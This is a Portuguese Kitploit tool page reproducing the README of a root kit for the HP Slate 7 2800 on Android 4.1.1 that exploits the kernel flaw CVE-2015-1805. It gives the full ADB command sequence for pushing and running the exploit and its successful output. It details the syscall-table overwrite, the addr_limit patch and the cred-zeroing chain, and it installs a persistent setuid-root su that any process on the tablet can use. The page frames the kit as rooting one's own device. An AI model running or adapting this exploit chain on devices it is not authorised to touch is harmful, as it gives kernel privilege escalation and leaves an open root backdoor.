Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
hp-slate7-root-kit — Kit de root para HP Slate 7 2800 com Android 4.1.1 usando CVE-2015-1805. | Kitploit
Ferramentas/GitHubGitHub/valentineus/hp-slate7-root-kit
Segurança AndroidEscalada de PrivilégiosMecanismos de PersistênciaAnálise de VulnerabilidadesExploraçãoPós-ExploraçãoSegurança MóvelDesenvolvimento de PayloadsExploração de Binários
GitHubvalentineus/hp-slate7-root-kit

hp-slate7-root-kit

Kit de root para HP Slate 7 2800 com Android 4.1.1 usando CVE-2015-1805.

1há 3 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório

Root para o HP Slate 7 2800 no Android 4.1.1

English | Русский

Este repositório contém um kit completo e autossuficiente para obter acesso root persistente no HP Slate 7 2800 executando o firmware 1.05.18 e o kernel Linux 3.0.8+ por meio da exploração da vulnerabilidade local CVE-2015-1805. O kit foi executado no tablet real e o resultado foi verificado a partir de uma nova sessão ADB e após uma reinicialização normal.

Este não é uma ferramenta universal de root para Android. O exploit é específico para esta configuração de kernel da HP. Não o execute em um modelo, firmware ou versão de kernel diferente.

Configuração verificada

ParâmetroValor verificado
Fabricante e modeloHP Slate 7 2800
Android4.1.1, API 16, build JRO03H
Produto / dispositivot7h / pine
ProcessadorRockchip RK3066, ARMv7
Impressão digital da compilaçãohp/t7h/pine:4.1.1/JRO03H/v1.05.18_user:user/release-keys
Kernel3.0.8+ #13 SMP PREEMPT Tue Jul 28 15:24:30 CST 2015
ABI32-bit ARM EABI5
SELinuxnão presente na configuração do kernel (CONFIG_SECURITY está desativado)
Partição /systemext4, montada somente leitura por padrão

Você pode inspecionar o dispositivo sem fazer qualquer alteração:

root@kitploit:~
adb devices -l
adb shell getprop ro.product.model
adb shell getprop ro.build.fingerprint
adb shell getprop ro.build.version.sdk
adb shell cat /proc/version

Alternativamente, use o script abaixo. Ele se recusará a continuar se a impressão digital ou a versão do kernel não corresponder:

root@kitploit:~
./scripts/check-target.sh
./scripts/check-target.sh ADB_SERIAL

Conteúdo do repositório

root@kitploit:~
.
├── bin/
│   ├── hp-slate7-cve-2015-1805-root  # verified exploit
│   ├── hp-slate7-install-root        # installs su into /system
│   └── hp-slate7-su                  # minimal setuid-root wrapper
├── src/
│   ├── exploit/                      # CVE source and device-specific changes
│   ├── installer/install-root.c      # installer source
│   └── su/rootsh.S                   # minimal su source
├── scripts/
│   ├── build.sh                      # rebuilds all three ELF files
│   ├── check-target.sh               # safe compatibility check
│   └── root-device.sh                # verifies, uploads, and runs the kit
├── SHA256SUMS                        # hashes of the verified bin/* files
├── NOTICE                            # attribution for the original PoC
└── LICENSE                           # GPL-3.0

Formatos e finalidades dos arquivos

Checksums SHA-256 dos binários verificados:

root@kitploit:~
6bf8ea09efb9f409dfc7aa5efbc3108e5c1a19fc5b07ae913328ef4639a7644f  bin/hp-slate7-cve-2015-1805-root
4857c71efc846636afc5b50d7f3c971c6eb68d3760f652086f2a38c5dc50bc4a  bin/hp-slate7-install-root
40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e  bin/hp-slate7-su

Verificação no macOS:

root@kitploit:~
shasum -a 256 -c SHA256SUMS

Verificação no Linux:

root@kitploit:~
sha256sum -c SHA256SUMS

Use os arquivos de bin/ no tablet: estes são exatamente os bytes verificados no dispositivo. O diretório build/ destina-se a recompilações locais e não é rastreado pelo Git.

Vulnerabilidade utilizada

CVE-2015-1805 é uma falha nas implementações de pipe_read() e pipe_write() de kernels Linux mais antigos. Quando uma cópia atômica falha, o código continua incorretamente percorrendo o array iovec, potencialmente movendo um ponteiro para além dos seus limites. Como resultado, um processo local sem privilégios pode corromper memória, derrubar o kernel ou aumentar seus privilégios. Uma explicação detalhada do mecanismo foi publicada em oss-security. As correções podem ser encontradas, entre outros lugares, nos commits do Linux upstream 637b58c e f0d1bec.

O kernel 3.0.8+ do tablet mostrou-se vulnerável. Antes de modificar a memória do kernel, a mesma corrida foi testada separadamente com uma sonda inofensiva cujos dois alvos de escrita estavam ambos localizados na memória comum do processo de teste. Ela relatou CVE-2015-1805: VULNERABLE, e o tablet permaneceu acessível via ADB.

Cadeia de escalonamento de privilégios

  1. O exploit cria uma corrida entre readv(), alterações no mapeamento de memória e o processamento de um grande array iovec no código de pipe vulnerável do kernel.
  2. A primitiva de escrita resultante substitui temporariamente a entrada não utilizada 222 em sys_call_table pelo endereço de um pequeno trampolim ARM no processo do exploit.
  3. O endereço da tabela é calculado por meio do vetor alto em 0xffff0008. No dispositivo verificado, a instrução é 0xe59ff410, e seu literal aponta para vector_swi = 0xc04d0d40.
  4. vector_swi e sys_call_table foram montados de forma independente a partir do arquivo oficial do kernel HP Open Source 1.05.10 (SHA-256 do arquivo: dd69f0468973714fd9ba22cdfea7e96f39f651ee51b9cb537728d9dcadbafda2) com o defconfig rk30_t7h_dvt_defconfig. Seu deslocamento é 0xc4. O firmware instalado não possui OABI nem seccomp, portanto o endereço final da tabela em tempo de execução é .

A função original current_thread_info() dos cabeçalhos antigos do kernel era incompatível com o Clang moderno em -O0: um protótipo inicial lia uma palavra não inicializada em vez do registrador sp e poderia derrubar o kernel. Neste repositório, ela foi substituída por um trampolim ARM naked verificado. O binário inicial não está incluído no repositório.

Software necessário

Para usar os arquivos prontos de bin/

  • um computador com macOS ou Linux; Windows também é possível com um driver USB ADB adequado, mas este procedimento foi verificado no macOS;
  • adb das Android SDK Platform Tools;
  • um cabo USB de dados em funcionamento;
  • depuração USB habilitada e a chave RSA do computador aceita no tablet.

Você não precisa do Android NDK, Java, Python, fastboot, bootloader desbloqueado, recovery personalizada, APK de root ou acesso à rede. O exploit e o payload são vinculados estaticamente.

Para recompilar a partir do código-fonte

  • Zig 0.15.2; basta descompactar o arquivo portátil, sem necessidade de instalação de pacotes em todo o sistema;
  • Bash;
  • shasum ou sha256sum para verificar o resultado.

O Android NDK continua não sendo necessário: o Zig fornece uma toolchain cruzada ARM musl.

Preparando o tablet

  1. Carregue o tablet até pelo menos 50%. Ele estava com aproximadamente 80% durante a execução verificada.
  2. Inicie o Android normalmente e desbloqueie a tela.
  3. Ative Opções do desenvolvedor -> Depuração USB.
  4. Conecte o cabo e aceite o aviso RSA de depuração USB se o Android o exibir.
  5. Não execute Towelroot, KingRoot ou outros aplicativos de root simultaneamente.
  6. Feche aplicativos desnecessários. O exploit cria muitas threads e se aproxima dos limites deste dispositivo antigo.

Verifique a conexão:

root@kitploit:~
adb devices -l

O status deve ser device, não offline ou unauthorized.

Obtendo root: procedimento manual

Vá para a raiz do repositório e primeiro verifique se o dispositivo corresponde exatamente:

root@kitploit:~
./scripts/check-target.sh

Se vários dispositivos estiverem conectados, passe o número de série para cada comando usando adb -s SERIAL ou defina a variável de ambiente ANDROID_SERIAL.

Envie os três arquivos usando os nomes que eles esperam uns dos outros:

root@kitploit:~
adb push bin/hp-slate7-cve-2015-1805-root /data/local/tmp/cve-2015-1805-root
adb push bin/hp-slate7-install-root /data/local/tmp/install-root
adb push bin/hp-slate7-su /data/local/tmp/rootsh-armv7

Defina as permissões e grave os arquivos preparados no armazenamento:

root@kitploit:~
adb shell 'chmod 755 /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync'

Execute o exploit uma única vez:

root@kitploit:~
adb shell '/data/local/tmp/cve-2015-1805-root; rc=$?; echo DEVICE_RC=$rc; exit $rc'

Saída bem-sucedida verificada:

root@kitploit:~
offset:c4
addr:c04d0d40
    [+] Done
restored syscall 222 to 0xc051900c
exploit rc=0 uid=0 gid=0
installer uid=0 gid=0
install-su ok
DEVICE_RC=0

Se o dispositivo desaparecer do ADB por alguns segundos, não execute o exploit novamente. Aguarde ele retornar:

root@kitploit:~
adb wait-for-device

Procedimento automatizado

O script verifica a impressão digital e o kernel, confere os hashes SHA-256, envia os arquivos, pede que você digite ROOT, executa o exploit e verifica uid=0:

root@kitploit:~
./scripts/root-device.sh

Para vários dispositivos:

root@kitploit:~
./scripts/root-device.sh --serial ADB_SERIAL

A opção --yes desativa a confirmação interativa e destina-se apenas ao uso automatizado deliberado:

root@kitploit:~
./scripts/root-device.sh --serial ADB_SERIAL --yes

Verificando o resultado

Verifique o root a partir de um shell ADB novo, não do uid do processo do exploit:

root@kitploit:~
adb shell 'id; /system/xbin/su -c id; echo SU_RC=$?'
adb shell 'ls -l /system/xbin/su'
adb shell 'cat /proc/mounts' | grep ' /system '

Saída esperada:

root@kitploit:~
uid=2000(shell) ...
uid=0(root) gid=0(root) ...
SU_RC=0
-rwsr-sr-x root root ... su
... /system ext4 ro,...

Em seguida, remova apenas os arquivos temporários preparados. O /system/xbin/su instalado não é removido:

root@kitploit:~
adb shell '/system/xbin/su -c "rm -f /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync"'

O kit não cria /data/local.prop nem modifica dados do usuário.

Faça uma reinicialização normal e depois verifique o root persistente:

root@kitploit:~
adb reboot
adb wait-for-device
adb shell getprop sys.boot_completed
adb shell '/system/xbin/su -c id'

O tablet verificado produziu o seguinte resultado após a reinicialização:

root@kitploit:~
uid=0(root) gid=0(root) ...

O arquivo instalado foi recuperado do tablet e correspondeu a bin/hp-slate7-su byte por byte:

root@kitploit:~
40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e

Usando o root

Para executar um único comando:

root@kitploit:~
adb shell '/system/xbin/su -c id'
adb shell '/system/xbin/su -c "ls -la /data"'

hp-slate7-su é um wrapper intencionalmente mínimo, sem aplicativo Android, avisos de confirmação, daemon ou registro de permissões. Qualquer processo local capaz de executar /system/xbin/su pode potencialmente obter root. Não use este tablet obsoleto para dados sensíveis após fazer root e não instale APKs não confiáveis.

Recompilando a partir do código-fonte

Especifique o caminho para o Zig 0.15.2 portátil ou adicione zig ao PATH:

root@kitploit:~
ZIG_BIN=/absolute/path/to/zig ./scripts/build.sh

A saída será gravada em build/:

root@kitploit:~
build/hp-slate7-cve-2015-1805-root
build/hp-slate7-install-root
build/hp-slate7-su

Verifique os formatos dos arquivos:

root@kitploit:~
file build/hp-slate7-*

Os três arquivos devem ser arquivos ELF ARM EABI5 de 32 bits. Com a versão verificada do Zig 0.15.2, o instalador e o su são recompilados byte por byte de forma idêntica aos arquivos em bin/. O hash do exploit pode diferir devido a caminhos absolutos em metadados DWARF e do linker; seu trampolim crítico de seis instruções era byte por byte idêntico na compilação de verificação. Uma recompilação não substitui os checksums dos arquivos em bin/ que foram realmente executados no tablet.

Solução de problemas

unauthorized

Desbloqueie a tela e aceite a chave RSA de depuração USB. Se o aviso não aparecer, reconecte o cabo e execute adb devices -l novamente.

offline ou o dispositivo desaparece

Aguarde alguns segundos e execute adb wait-for-device. Se o tablet tiver desligado, ligue-o normalmente com o botão Power. Não execute uma segunda instância do exploit simultaneamente.

O exploit não imprimiu [+] Done

A CVE é explorada por meio de uma corrida e pode falhar teoricamente. Reinicie o tablet antes de fazer uma única nova tentativa. Não execute o binário em um loop: uma corrida malsucedida pode derrubar o kernel.

su existe, mas o comando sai com o código 127

Verifique o hash SHA-256 do arquivo. Um wrapper inicial de pesquisa tratava argv incorretamente no ARM e saía com o código 127. Este repositório contém a versão corrigida de 656 bytes com SHA-256 40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e.

O logotipo da HP permanece na tela, mas o ADB já está disponível

Verifique o estado real do Android:

root@kitploit:~
adb shell getprop sys.boot_completed
adb shell dumpsys window windows

sys.boot_completed=1 significa que o Android foi iniciado mesmo que o display físico ainda esteja mostrando um quadro antigo.

O que foi testado e o que não foi usado

Outras abordagens conhecidas foram descartadas com segurança ou consideradas inadequadas neste dispositivo: CVE-2013-6282, CVE-2013-2094, CVE-2012-0056, CVE-2013-4787, Dirty COW e PingPongRoot. Towelroot/CVE-2014-3153 derrubou este kernel e não deve ser usado. CVE-2014-7951 tornou possível gravar um arquivo por meio de path traversal na restauração do ADB, mas o firmware da HP não carregava /data/local.prop, portanto esse método não forneceu root.

O bootloader usa um loader Rockchip antigo e não aparecia como um dispositivo fastboot padrão. Não foi necessário gravar uma recovery nem desbloquear o bootloader para este resultado.

Origem e licença

O código do exploit é baseado em mobilelinux/iovy_root_research, commit f945796, que por sua vez referencia dosomder/iovyroot. As alterações específicas do dispositivo incluem redução do número de threads, correção do timeout, uso de um trampolim ARM naked, restauração antecipada da tabela de syscalls, validação de cred e desativação do ramo SELinux inaplicável.

Os avisos originais foram preservados. O repositório é distribuído sob GPL-3.0; consulte LICENSE e NOTICE.

Aviso legal

Explorar a memória do kernel sempre traz o risco de reiniciar o dispositivo, corromper o sistema ou perder dados. Este kit destina-se apenas a um HP Slate 7 2800 que você possui e cujo firmware corresponde exatamente. Faça backup de todos os dados importantes e não o use em dispositivos de outras pessoas.


A pesquisa de segurança e a documentação foram concluídas com assistência do OpenAI Codex, alimentado pelo GPT-5.6 Sol com acesso de segurança cibernética Daybreak Blue.


Locais do repositório: fonte canônica · github · espelho somente leitura

Baixar ferramenta
ArquivoFormatoTamanhoFinalidade
bin/hp-slate7-cve-2015-1805-rootELF 32-bit ARM EABI5, static, unstripped2,722,320 bytesExplora a CVE, obtém uid 0 e inicia o instalador
bin/hp-slate7-install-rootELF 32-bit ARM EABI5, static, stripped22,596 bytesRemonta temporariamente /system como rw, instala o su e restaura ro
bin/hp-slate7-suELF 32-bit ARM EABI5, static, stripped656 bytesChama setresgid(0,0,0) e setresuid(0,0,0) e, em seguida, inicia /system/bin/sh
0xc04d0e04
  • O trampolim consiste em exatamente seis instruções ARM. Ele obtém o sp atual, o alinha ao tamanho da pilha do kernel de 8.192 bytes e escreve -1 apenas em thread_info.addr_limit no deslocamento 8. Ele não contém chamadas externas, prólogo ou código de runtime do compilador.
  • Imediatamente após o retorno da syscall temporária, a entrada 222 é restaurada a partir da entrada 223. Ambas as entradas são sys_ni_syscall no código-fonte da HP; o ponteiro restaurado no kernel verificado é 0xc051900c.
  • Depois que addr_limit é ampliado, a cópia via pipe lê a task_struct atual, localiza cred e valida a estrutura usando os valores atuais de uid/gid, alinhamento, contagem de referências e a condição real_cred == cred. Somente após essas verificações os valores de uid/gid são zerados e as máscaras de capacidade são preenchidas com uns.
  • O processo obtém uid=0 e inicia /data/local/tmp/install-root. O instalador remonta /system como rw, copia o payload para /system/xbin/su, atribui o proprietário root:root e o modo 06755, chama sync() e remonta /system somente leitura.